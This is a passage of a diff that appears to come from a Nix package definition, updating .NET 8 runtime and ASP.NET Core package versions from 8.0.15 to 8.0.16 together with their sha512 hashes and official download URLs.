-        hash = "sha512-uE8GWC6smO3Cd4iU90rCnaUTWVjowariZOISXC7hWfWnoF//XpzD0l0/MO9aStbejKFXkQXXPOWkU6GorM8QgQ==";
+        version = "8.0.16";
+        hash = "sha512-TabUjPzfTmIpttDvd1ibCakKZA4iGxPYayFnjecfbenQlL/5qRFLW2HZ7aRGdMtPwKfp1MRmcTlwN5nHiPEavg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-x64";
-        version = "8.0.15";
-        hash = "sha512-MorTXQChHzd1I+r+SgRWLTeiFAY21bqkDhSmQLbXIp4kv+izmjRoE5/f+eMPygRQwUzKgUCAl2ZkguXVbsOTLQ==";
+        version = "8.0.16";
+        hash = "sha512-C38paqrnwY57InUeWK+PhcOGyAxHnHpltyQWZ+urFGhkBN9PjcLh94xL5Th6BROgLeaeAPIZkDD1nTfZtPFZSA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-x64";
-        version = "8.0.15";
-        hash = "sha512-EA4xzB/r4u3+ka+UYIiRXqnQ4KeCQ/hjXP+YJGsSPF/VALDUQ/P45FhwMI+uexotG9bJDJVnjoHMSZ5ncgeLzA==";
+        version = "8.0.16";
+        hash = "sha512-ZaTZo7CUGUmW1uXppfGAg/zFuoSyyDEXP+CRKaWcpNdE0DDoZtQBuonrjHrmKJ4g2sdgpOErbD/qDa+pVsnSsg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.15";
-        hash = "sha512-0Sqevxt/3D2ghpF55fllpATYf8OHXM3CSB4o6Tk4rUbcqeyZuSLSxNnBeatzwlquPEPmwr/F29pxH7eJdENalA==";
+        version = "8.0.16";
+        hash = "sha512-jR7uaCNjagiMvrU0dSL88yogPSjbm+JUbtaQ7jx7c7xLCDvW/3rdZpx0lIAL6yxSRCPkthOSf8Rt2unoam2A0Q==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.15";
-        hash = "sha512-q7DcrpWV6zlRwvvwt39qnjXnZx3lkBrLku/1G71NGrgeeixXHddr8lc+l1IfH1DeqSKFGifaeq+KnYzv2HOlQQ==";
+        version = "8.0.16";
+        hash = "sha512-Pan9aX4Hd37diyf9V2APLS5UpuPWnSxVjjlnpPUcyw0ztWCpVivQwSme8aEzn1SAnWnQ/88le9PtAEgJvG4juw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.15";
-        hash = "sha512-zelqI0qGvpAK4Mn8JacG0FWVyHMVyj0OQzLKgkT+krrUofVf+0EsmoeTrl6fkIXrzpuRC0VY5bEAtrAi8Lu/AA==";
+        version = "8.0.16";
+        hash = "sha512-BtpDN3TeBLsq96C4magsVnNIb8mPXW4rYk2wLK372tAD7Hiycm9eBYVdaLoYhEW1Ct4erWPFo284Hpl1X0Gq3w==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.15";
-        hash = "sha512-WqBHZ8Z+AK+3LnZNeDVX/FfDK3RcC2QnV84+fz/MD4LQ95MSPVAou5ugr3dIzJYMSc/O+/jp4rokLcBdUreN8g==";
+        version = "8.0.16";
+        hash = "sha512-k7+KT81WP9yepIARsWCNRyK1Z8f0l5hRfAUbtmKIZZF8Zb9hZBeQ/wfc8hDvG+Av9abOnvVDOm8oWod14MpUUQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.linux-musl-x64";
-        version = "8.0.15";
-        hash = "sha512-47IH966HOA78LRadNZArpUzHiPDbiUSlnJyyp/c6EbR04mcptIoS9qCl9b7nbY+sOXGgu+J4KCFHhWeoQzF2ug==";
+        version = "8.0.16";
+        hash = "sha512-juqAOH138FUGV8IBgQXDp0pg6GS3H6t5zAaaovoKAhZpvAlAKdLitPKCkWfaiVzqRCMljRMaNTLq53U+CtMBbQ==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-arm64";
-        version = "8.0.15";
-        hash = "sha512-y108Qx0KKsBg9X7YnL4RS6KPFJkpYUGvENR4Imf5lZZshscH62P+sttC6BJfvyt9PAKM/M7zFuLIyXxUcBCWRQ==";
+        version = "8.0.16";
+        hash = "sha512-wuAC93N+hDc0H1wD1IHdkSMokwuOxTGwfVNovQkfGLcvWB+hWSqYwn3HlAooVGi+juYMqgFgCwSUqj9UXzPPMA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-arm64";
-        version = "8.0.15";
-        hash = "sha512-Y4yq7znZh9+COYXY5LUGoZeZNtStPgcvtf+4t0iR6KC4FRMdvI7CLyZeqKyxysubn28mtvWnj3+qvV3SviIo+Q==";
+        version = "8.0.16";
+        hash = "sha512-JTtZzjHmXFqUYP/Z9FcfUuh7ZVw0Tq9sW3amlYNQWKggIGaaCQsicKN5VqTo1rbWrbGibu4DbcSUlkvQydpeOw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-arm64";
-        version = "8.0.15";
-        hash = "sha512-DoJ7Dlmk9gt5FkMiZkYUmUcCTJYI7PHKlMQr+m5Of0xInoZxIJ+lQuNHt+8PxuM1TmzAfHsM8Oq5pgYYpN11dw==";
+        version = "8.0.16";
+        hash = "sha512-b0Glt0ehO8tmRx48RPp7fQOw/05LHN0u/rJxbnFcaj++6huetGxyFy3RDm/xnr/PB5Td5qENk0ZqG360ZLFX3w==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.15";
-        hash = "sha512-GHmaiZ8rqNhz6EUdc5EXaHhdhkwh8xNN7UGcAgxvxrDPaiFp3EPdQ7yPou1itg1/13qi7O0k8NOBYQEmwlioqQ==";
+        version = "8.0.16";
+        hash = "sha512-BVWMbeZ0tS2t1ze2y5f7vD64uJwWwc92yu647Tw3LVxMDp4Dz4bzduDNcH4+Rxs4hGRHt2cwRRfM2NGxnydX1g==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.15";
-        hash = "sha512-HAp4Oo1174MGoANdEeR3/cdLjVdtsSfaI9muDUN6SAW0nBQ60o69om7rXtt/QQ6k6OjYZyOfpxMAs5itQKuCAA==";
+        version = "8.0.16";
+        hash = "sha512-quU62eUZW2ls3EouhRllGQOhIL1DkjgYT8R8B6Yv6gXnQzD9Kaixq9FmCgSDoG8GlZUrh9jro8no446j99pMqw==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.15";
-        hash = "sha512-0qwtIdsKLSR9m4D4gJkaV39xWD6yCdnx+9FS+ZXMMmTP3rBIwKnvnmjK509nE2jdEkAYgkhtrZI8UGLtHBD9Ew==";
+        version = "8.0.16";
+        hash = "sha512-puv/ricB6SdP3NKk61bwWXcpP6Q58snrpFZCIOxj6mAJwl8RsdR+0GLPyR0qTQKhnuE9ZY83bGaQEPn28CHcag==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.15";
-        hash = "sha512-Tkt2TWYyrVXrU0UnKJHCfyy41G9wo5A2+2gzDProYAqucUzDALyY73zkPK64t+3s5nXoK+f0T0AybYH6vo1ohA==";
+        version = "8.0.16";
+        hash = "sha512-pbULyCi7O6A1h1PIkaTq1q5E+JKzr4FkAO07t5C282BeLd4Zh91Dgi48iGdun0lYFU9LEMQ9oLl4EHr0xAVCCw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.osx-arm64";
-        version = "8.0.15";
-        hash = "sha512-Ob4GB13NtMHGve50UGyw9v/x7fBLOvYLh3mGbd33wtqk3eP9fx0GY0vcmdcDZC8DASHNr0IwYaDLkimqmGA33g==";
+        version = "8.0.16";
+        hash = "sha512-m81w4eMl4VxnH+2goP0FI13Wrh9OoVGV4kiOsmdR9/KMik9WKsb4eeqj7OFXR2Um8QIlUA8z9pAqv8VkiphnSg==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-x64";
-        version = "8.0.15";
-        hash = "sha512-2dWFNk333EB5KH/Bp7VS2zuwvjXNlmXNMt2d4fflMw152cASkUDQWFnA6l4xR+80J+U6sDOfepyvoyhUnl+bHw==";
+        version = "8.0.16";
+        hash = "sha512-n4PzbC+wqBZnh/v3Qlr4tjuJDnEL1uTJHwyDmBEgoBxPlImBYaZXhjjPN0h3e7nlPqfE/fP0axGGNrqm2jIrVw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-x64";
-        version = "8.0.15";
-        hash = "sha512-O3Hl7PiW+9nGahbjJr9DNrbhoZW+shP4ksEiElJsYAiHHmFyfBGzNXaoLZwZE++SYPyimY2FbXf0K4o0SKPQcQ==";
+        version = "8.0.16";
+        hash = "sha512-CLwd+6uc3SFGdlZg6hWoIsv/pyCJej3k22vYbmz1kphIpvJjkcQQbHKrEed+mR3ruTtGHAtEc3ALvTfFRNGwOQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-x64";
-        version = "8.0.15";
-        hash = "sha512-3KTK+NArVuiILnBaqSPmRS+NhNyw9qIWIxS0C75a9GEyZdzM+zP4qzXFVYe1hTnGSSLU8AVb/CXFRyntvsdWAQ==";
+        version = "8.0.16";
+        hash = "sha512-iK+92YNFakNasLgMxjPA9B34/188ur/Cr1qNw9KStNqQ/t7h0af+LpCh2CY9Tb9rtiQ4JDa4lhAHnRdF6mgF4Q==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.15";
-        hash = "sha512-zJ6yS3kOC9HBTSRhIO1BnVSdJgWb6Lq7RAbU8kjAtkT2rAoO/ZH2PNZ+HX2yVlJHY11G9f7tSFAoA4/UVBG6Dg==";
+        version = "8.0.16";
+        hash = "sha512-n7oHeX8D3Qmk/YQPZ6isIXLM0sCKNLRczAjoP8hfmmnE/bYk1uhFbxhPROelIN/tfC1G0yGmiNLXYdzL17q9jQ==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.15";
-        hash = "sha512-KEaoTOQpBHA9so7SknNBU6CfRAa5eiqy5Es05Iie9vOuDY9Dc+Gt0gPPXWj2iXKBpsbqYSX6C9fPdlY/5r2IsA==";
+        version = "8.0.16";
+        hash = "sha512-F8lb0QVbYAcWrxCxGAkYqS8F3QWqrhX6AmuqvYG4hBki3JisiuCRhCqJeiVgbPXk8fl22hf8i9sDQaJSrBXDbg==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.15";
-        hash = "sha512-ydluJPlRlEq/RIkwNSw14C0bDfQTMDWYbGcifpjoVYdHdA25mztlSXEpoVc58M0kw+ObPkxUD5IQdirIuum0qw==";
+        version = "8.0.16";
+        hash = "sha512-9o5ign74HxWNBsT3Cdvia+VVBdATPhe006LBCh3xeULtcdYIFpKdvHO5sGsxHPp5WdKG/kuH1LunOkbO4mmIfg==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.15";
-        hash = "sha512-1wo7VKiBoLQDaPOzV2AGefGWHWFyIyxgBIbupzDEBEE/EFzLfQIb0MM+lCyCB3e07O4zLud/mNoT5DO4LC/+mA==";
+        version = "8.0.16";
+        hash = "sha512-q22oMVxWzD5aLlZDPAAsuuoOFrCtHpKGsHXxsVontq10lmFiRhkM01V46vhJE99gzUjEK3rBXEb3LpH1KEnOTg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.osx-x64";
-        version = "8.0.15";
-        hash = "sha512-N+al40/C0rFzjoKpnYX1py3Dy+jC98inbYHRJUxzaKbcYGzhUo4H2FVl84D3AcmFSzNfOwV7hoeUbeGXElsixA==";
+        version = "8.0.16";
+        hash = "sha512-o6TXTHX9Uc8BdIdzsNR5cQVK6al/Q0lHlKRROtZCY2nP7vRpC+D6+/lUBh/Kvny+dwQQ662wCJrs2Ya1XoWF1g==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-arm64";
-        version = "8.0.15";
-        hash = "sha512-4RiClomUAm7QT+MZtsDCqIEmcXw7VYczlORZHFtpfPLtvTUt4oKoUovBzPrjdWjoa+f1kBxY3s281R4DNi3BsA==";
+        version = "8.0.16";
+        hash = "sha512-Kh9Z+U062mBYGkXrZrG4/rIp8jfglP2GfPr+a2SgDuF7G96y/wrFcXMhtpvkdj/6PQxX8MrrPHMVZ4wml1ch8w==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-arm64";
-        version = "8.0.15";
-        hash = "sha512-TpoDIcRv1mTWnmeLSO/WIiYLdM9HD38NqvCyPJv4AtTQJNwZmMBEPFg95Lpm5NVBuUiLDVMrwXNbi5q3a/oopQ==";
+        version = "8.0.16";
+        hash = "sha512-fXEfLzBw6xHfliy1XoqxX1N+OUBihYilCQeEoR1yRCNSeNXnSHdPT6pX3reS6qI7F49pN35s68sPUfCWLFpNNw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-arm64";
-        version = "8.0.15";
-        hash = "sha512-YbNUZ0vgknKFe/ZZ8AC9Uri6mucffE1tRPbGKRdBWklAPzwwsHtWFerNdDpkqNfdRuhZK/AypY5gXUQRxDghEA==";
+        version = "8.0.16";
+        hash = "sha512-PNnCUYpG0auWMefWbyH/TYJZrKNJziqNbfIQ6IfJBL+2hYfme3xCEn116fsG0nht61gGvlSF0ZL2MX+yTCyHLQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.15";
-        hash = "sha512-tAjRGdHqt+nONHe2kXOujrv8QKD7nmtZ03xkJ2JFYcxPgn5bPsXSQim688xMPScj30cONhmpaDxQrKR5GQNp8A==";
+        version = "8.0.16";
+        hash = "sha512-ZWcEzJrU2fGE5nqi37Ms2Y6QA7+e33kl6BFmf+iApJGFDQOiE9u0JmmyGXQ4r8yfIjfHiQIvPYNFvCMs5n2efg==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.15";
-        hash = "sha512-wVuU3yDLqdBH4qy7FjeHgaRQ9ROISVv5n8VgElc8j92tt+xKMeMMcOCCE/KcxFcAGNJeOPr47HHDG7H12xILog==";
+        version = "8.0.16";
+        hash = "sha512-7WwAk1dSgfWwir2Mdl5S8sAl5s9fDyRq5o9QUdqa71OxDdl6UtUkOzF5R8aHo1BXs0qM2SXJlf9Fgp9u3Bk9dQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.15";
-        hash = "sha512-nXf24GvKYZVNdsYKTNwu4Q5f6hTtrI/SXgxR2oUVJBIp+jJLFq57gLUyi5HybEZ46Gv5E1cy5O8bGzCy2UA30A==";
+        version = "8.0.16";
+        hash = "sha512-+0Dm9S2hIlqePk2mkdlOaAlrG0UkCwJotbUv9535BiC/qbPO6SY0izAHX1dZL6LPoFKBewZ1aoQMtrsF9xAzQA==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.15";
-        hash = "sha512-Fv8t9sTyuIiQvJcl2achPXXDosNBNMuVWPEG56HGLOApAdBHqz0nsnvq3MafYxoKuWErF0Q0MtjgRBzmzCdmHw==";
+        version = "8.0.16";
+        hash = "sha512-BauQzQcup2e1iRILzm1XU2zqgFeQ9A7mKAlFY9XQVxtEWlRhQ1047lkvf1E1qmPg7S82HfigvC+tFY2+BJi/Ag==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x64";
-        version = "8.0.15";
-        hash = "sha512-BB783haPymdzS2yTLkZ44iCAxzvjmYwenMP7PFqefbOX5elxs0m+naum1zV0uFkDc+jdCZqjrb0PwT8epC/mKg==";
+        version = "8.0.16";
+        hash = "sha512-OIZrbirMArYlnOV8X8AdhVaCvhumkaiHMTCivh+J4bY/mUXZ1GZw41wWpw1Rhj1AZWl2DSa1jyGphtCSgwycRQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x64";
-        version = "8.0.15";
-        hash = "sha512-mNH9ZI9MRHcMvlQOHtvtYHrGU9UvRhGb0DhfdKGHXWekRANnAyxXebcKtPPjM/ZhcPJ+5bUdS+ovPc6Sj6SzVw==";
+        version = "8.0.16";
+        hash = "sha512-ig9SH+K2HVzuER+P6jexExvt1wOAR0tmZQwD5IEs2RO0s3BVOPwxJc5QjqixPP7oZjvAMK3Lm/Vy3QlVpnVpGw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x64";
-        version = "8.0.15";
-        hash = "sha512-JJFZocAXIGPYfQjXB3SNZ/FI3uTzJBDewLFczUyRr/0clvf2VY673mO6EMZtHKpA2J8K6j2ZMqMTPjRy4G0xIQ==";
+        version = "8.0.16";
+        hash = "sha512-1zB+91bQGwvUb+hFzPAdVh9J2a6sqM+cljDeh7Yw1nG2AoNt4UZr9AQ1WaCd7z7sE628J49JH8xEPrJkig2qzQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.15";
-        hash = "sha512-vH73AiC/pHTkHnBW2YMP9UQp9oOcZ8WP0Q74oe00QkS/p2cK5y0Ocozgn+2uQVBlAzOgnBtAHGu7jolI8K6Txw==";
+        version = "8.0.16";
+        hash = "sha512-e9XIuQAjb7cz1WCdBVH+/CP8ndn4SnsXGc8bLlEMUCL3bAUplL2aG56gIeGRwYJP+AcfAEvFkHNnzEC7JtOrQA==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.15";
-        hash = "sha512-d8uEdeqmFW5ryRLOSRdgx0icO2b8IVHuUC6euC160n0EfA00NE1gD/ZZvU8qzKgHkhf5X4eFpTurEN4yY2LBUw==";
+        version = "8.0.16";
+        hash = "sha512-+8EYnxw6v1x8sHtsELUqUda3dcomNY5X9fQc5VDew+9bh84lbTeexQEWUBAjkmrz3JLDkh1g0hLS42SS/P/wrg==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.15";
-        hash = "sha512-++7ZVCmb6wEGaqMDTZyvymMH0Hp2LeTMprM0jqXiiYKl2asMHQVnvdI9X1dmDG9Rjv4hrxWNsY6mNtZY8n7f2Q==";
+        version = "8.0.16";
+        hash = "sha512-Hd4LNJLmrzLkhoBTjAI2kGQ+/1sXZLamflSEAVh9GzOkoYMoKqfCxAZNYUJwPgIzXm1iUnC+yfyP+nJJRrUd5g==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.15";
-        hash = "sha512-5xufQ8e+XKkYK1ZF1nE4XXnIaNyiWu9j39GGgOVU6qPmpkHtQaLnuSfkIHhMyD300B5ni5fsm1o0l7YOSTUZpQ==";
+        version = "8.0.16";
+        hash = "sha512-4IAmnrKN8GRF3VrMuPkIMJsG9qvUcZFqrRFDjpMFft0n+A0eq5Szyx+B9lG0EYWE0UZuJQOsNyqs3D5dVFgUvw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.win-x64";
-        version = "8.0.15";
-        hash = "sha512-RIcuCNTOqHE+WYMg4OGL32K9U/MqhsBjxgbOlkBbK2cQoO/EdRlYTQrYy+gpMx0CtmXXWZmjyYYt2LR/Zkg05g==";
+        version = "8.0.16";
+        hash = "sha512-rCxgwEzg33svrD6JvyIqiiYGIo3+vpwdAupgkdOrBVZ6xJ7D3NeqcStXWVs97n60+fvUC7bb4Bwl4dJ/KQYb1w==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x86";
-        version = "8.0.15";
-        hash = "sha512-ofw9x4trDTeDQrVnA+vk7Mf8Zz3oP9ZiJMQPZr+o4gobg5+YfxoQ6UH8v69LL0Nt24zvCp/9ynnSyjt3PGN4tA==";
+        version = "8.0.16";
+        hash = "sha512-Owmg0DKS/rSWDUwNt7+MUtagUPdJwipxfPtGKzrkzw/xvxsmw7ACqmt7ONqAXCz3XP5MQBRo/CLhw3u9eVAh+Q==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x86";
-        version = "8.0.15";
-        hash = "sha512-1xWsFkYggCgoh5qW6jM8LwzkKrv3g6GJeDkxlACP3aXPr7eOYfzAXIzFxnmHl1k/Le3e4F5DFU/UWqQTKMDTXA==";
+        version = "8.0.16";
+        hash = "sha512-YcXpTXwEQbqvQFBWv8VC6rKvilmelGBphR0KUNzanN64uJL/uC975jCytnFlkqHGguor8OCzVkSDG7TIOfldXw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x86";
-        version = "8.0.15";
-        hash = "sha512-Th0qQHTOw3ypNlOf25r76C9WXF1FnNbK8dWlpvPJcQDR5OjanOhGPjm/oswZo1Av/e214CxuvJ4xMEGTv8Mlbg==";
+        version = "8.0.16";
+        hash = "sha512-ohiHhvm9mZNZfSIOcoD8rkaabXJ9LqDB269y5pfCpM0kRohj6WQPS6cpPn181jxMLOlplYlE2+piJ8quAZfUAg==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.15";
-        hash = "sha512-Et/th7G3XQuX6+RyX0+UgT3PkI5hBc5g9n/rsC/JolJEZmgE2CdtdPTrHZD6p9QRT0pa92mGY2kX8eWTMWYiyQ==";
+        version = "8.0.16";
+        hash = "sha512-crVLHltFGP19DUYri0zM1MN4x6PluOLaoN3Jbc+DTtIQ11GBtBVPUP9p02Km2m+iismSZ4W2bZQZ+WJQC2wbKA==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetHost";
-        version = "8.0.15";
-        hash = "sha512-pSst0VqWEsUMqA9A+jZ5rDTpXsiYWebChRWpdkPe0MsxFILWLCErKphT1bXWCxlsmH/TqUX/SctiqTHI9CS92A==";
+        version = "8.0.16";
+        hash = "sha512-Keme6iMgYtf+4Z42/waSQw3tQZ6S4fzvT9A3DwZXuTWhThx7+L9HRLZ5jrn5VhWVralHTFvriS5PtV3aJXJWtw==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.15";
-        hash = "sha512-pwoYsF3WEMRxLmM/TqwwPGClFY6Qn6RvlbB1oCIQ7t4FxyspMu7gUiSH4HNumifdbjoVYuPNt/M36KotMbdErw==";
+        version = "8.0.16";
+        hash = "sha512-TAG7BJ/xiqqUWJ9C7Why1eMi3ctsGJYgfmMgyTc7pk2zw6ZphR/vddldzYAjLX5Tzy9wHjVtRThBTr0yw7Pn7g==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.15";
-        hash = "sha512-5U6JMrO+Y2/CNCCG+SVR8+8VC7dkIrOgGcrEZFKStegeKtEk2sbt8cMccNKGXqKWbJSpaA8F5Q21gU127Uzs0A==";
+        version = "8.0.16";
+        hash = "sha512-azCJIT0ar8N7F8QWEVWgbgS/ZwJ4BaCClcALWC3MNFdcA4cpGiWunVYROhuCe144P4NEKqQo7kmesHY7ml1rjQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.win-x86";
-        version = "8.0.15";
-        hash = "sha512-KnQvNLSklPqPyVubpJ31SoNYr0WDo5fNbQlO8brTDJSqI3gyTZQ5QOjBmTYAAcwi+jLjl7mrJMuME3W3ZFx4zA==";
+        version = "8.0.16";
+        hash = "sha512-8OnxZ9IQIwUt3uaYCMHQmyrwAi3opxGriQ/98DW5cJJbU6asG8wdtGwGGRtcN2rx7aDplXhkdctSVKUVHSCvtg==";
       })
     ];
   };
 
 in
 rec {
-  release_8_0 = "8.0.15";
+  release_8_0 = "8.0.16";
 
   aspnetcore_8_0 = buildAspNetCore {
-    version = "8.0.15";
+    version = "8.0.16";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.15/aspnetcore-runtime-8.0.15-linux-arm.tar.gz";
-        hash = "sha512-CZXllsH9AvXomn9pW5OXavJThB7zD+g6BTEKP89OBpaSxWIOgDVdzT/mrjLnta264Ls/D/NeM0wvKPFMRNym7w==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.16/aspnetcore-runtime-8.0.16-linux-arm.tar.gz";
+        hash = "sha512-HfSe3Kpesa+ubpuTWgQYvEqT4Cu96DQybBoGYJXPKOdgfV0cqK93canS6BYx5Jkxp7+ZhJyJEHkd7utqmQJ1xw==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.15/aspnetcore-runtime-8.0.15-linux-arm64.tar.gz";
-        hash = "sha512-ln1DqTh9Im7YBM/uNRRKafJJ9iBrc+0NiRXa01j+3jxd3D7JY6XDVAC2LcVyZdodvAfXk89eOUDOlOVHgzEvDg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.16/aspnetcore-runtime-8.0.16-linux-arm64.tar.gz";
+        hash = "sha512-oRXg5iU86n6aSB7YL1f8lkE6pQznQHkyEoy6FTvfSuwb2M25wE0pD/APhURCn+rIa6bo0rDxZ0wlW9Y2wsfm3g==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.15/aspnetcore-runtime-8.0.15-linux-x64.tar.gz";
-        hash = "sha512-PKVmnUr/YPG/jOy5neBda0idsVDKp8GE0ai83whcYRUz4FrXvQxQkccmhQYRz/awR375sduxkuvpBVwD3hz22A==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.16/aspnetcore-runtime-8.0.16-linux-x64.tar.gz";
+        hash = "sha512-AlbKxBUazW/8grC3tkIfMEgXtv3C2csjIBjPmT5A2msijUFTl90bGzSFnP/h2Px717tHDfgRKDdOXJRKFMWDYA==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.15/aspnetcore-runtime-8.0.15-linux-musl-arm.tar.gz";
-        hash = "sha512-/WiQiQ3Q/M0T2BcBHlNiFN3tGw0Y6s00aVR1GkZC4NblvNz6pIWWQIX1cA9BygCb2U+Uj/znBaIf+8xBnKLaow==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.16/aspnetcore-runtime-8.0.16-linux-musl-arm.tar.gz";
+        hash = "sha512-TVMCx2nSQmKtt8HhqSDAWNmLnmdC3t/rKiauHoSkctYs4l0TfoXj6hctZ3e5G/9n/ooGMl6xYrDKs3CQ9eik/A==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.15/aspnetcore-runtime-8.0.15-linux-musl-arm64.tar.gz";
-        hash = "sha512-AlsswjWRoUdXVfw7Mh59BarNo0xWFhcOtH5IQr2XikY21H2HwGZtrfdZL/2C21lCe875U6Cl0YQtjDIdAcAebg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.16/aspnetcore-runtime-8.0.16-linux-musl-arm64.tar.gz";
+        hash = "sha512-IiIKQlFGuspdr7QZNHe/DE/sO57Zyps0Bzn1yngMQE++yByX/qfPMeZm5C0pnQFzP/OeZBkytkLkvCEfVdqGQg==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.15/aspnetcore-runtime-8.0.15-linux-musl-x64.tar.gz";
-        hash = "sha512-r29tf4S0BPRPLzMiQHto85Yt2wag6lfbdxPO8hmArTeZGaIDXGCqewKNByA4H1llR0tkRGybJanlgoljHgTBWg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.16/aspnetcore-runtime-8.0.16-linux-musl-x64.tar.gz";
+        hash = "sha512-L4Vp4TNb0lock75SNk3ROGxg1wxfkFyoMAkxJd4gv9mb4ICM+Y9qr9agvwhnli10NqVOp7jrQqb7Me61sI45og==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.15/aspnetcore-runtime-8.0.15-osx-arm64.tar.gz";
-        hash = "sha512-KNzFUD5ut2emVeZ/ad3SgA0Zzuv1lcxTiu9KVnv8trKxBY2aPeK99/E5Xq4rjEhQKNXGfunHC5qwFYqw4I/oXA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.16/aspnetcore-runtime-8.0.16-osx-arm64.tar.gz";
+        hash = "sha512-jsx0qVkTEo56VGFjlUH9hhnAMH1JYGLGPFAi44r+op9wozgJM2HVwwnqUcqtVGP7x+yK5rhr4n0+kmdWQkEOFw==";
       };
       osx-x64 = {
